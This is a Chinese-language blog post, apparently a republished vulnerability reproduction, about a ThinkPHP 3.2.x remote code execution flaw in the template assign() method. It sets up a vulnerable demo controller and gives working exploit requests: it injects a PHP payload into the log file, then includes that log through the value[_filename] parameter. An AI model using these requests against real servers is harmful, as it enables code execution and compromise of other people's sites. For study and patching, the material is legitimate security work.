ThinkPHP 3.2.x RCE漏洞复现
漏洞介绍
ThinkPHP3.2远程代码执行漏洞,该漏洞产生原因是由于在业务代码中如果对模板赋值方法assign的第一个参数可控,则导致模板路径变量被覆盖为携带攻击代码路径,造成文件包含,代码执行等危害。
漏洞复现
复现环境:phpstudy+php7.3.4+ThinkPHP3.2.3完整版+windows10
一、 搭建环境:
在ThinkPHP的Application\Home\Controller\IndexController.class.php
目录下写入模板赋值assign的 Demo
Demo:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($value=''){
$this->assign($value);
$this->display();
}
}
写入demo后需要在view下创建一个index文件进行视图渲染
目录:\Application\Home\View\Index\index.html
Log记录目录:
若开启debug模式日志会到:\Application\Runtime\Logs\Home\下
若未开启debug模式日志会到:\Application\Runtime\Logs\Common\下
二、 漏洞利用
1、创建log文件
http://127.0.0.1/thinkphp/index.php?m=--><?=phpinfo();?>
2、包含log文件
http://127.0.0.1/thinkphp/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/common/21_07_12.log
3、上传具有恶意代码的任何文件到服务器上,直接包含其文件相对或绝对路径即可。
例如:http://127.0.0.1/thinkphp/index.php?m=Home&c=Index&a=index&value[_filename]=./[filename]
文章来源:https://www.toymoban.com/news/detail-405155.html
参考链接
https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ文章来源地址https://www.toymoban.com/news/detail-405155.html
到了这里,关于ThinkPHP 3.2.x RCE漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!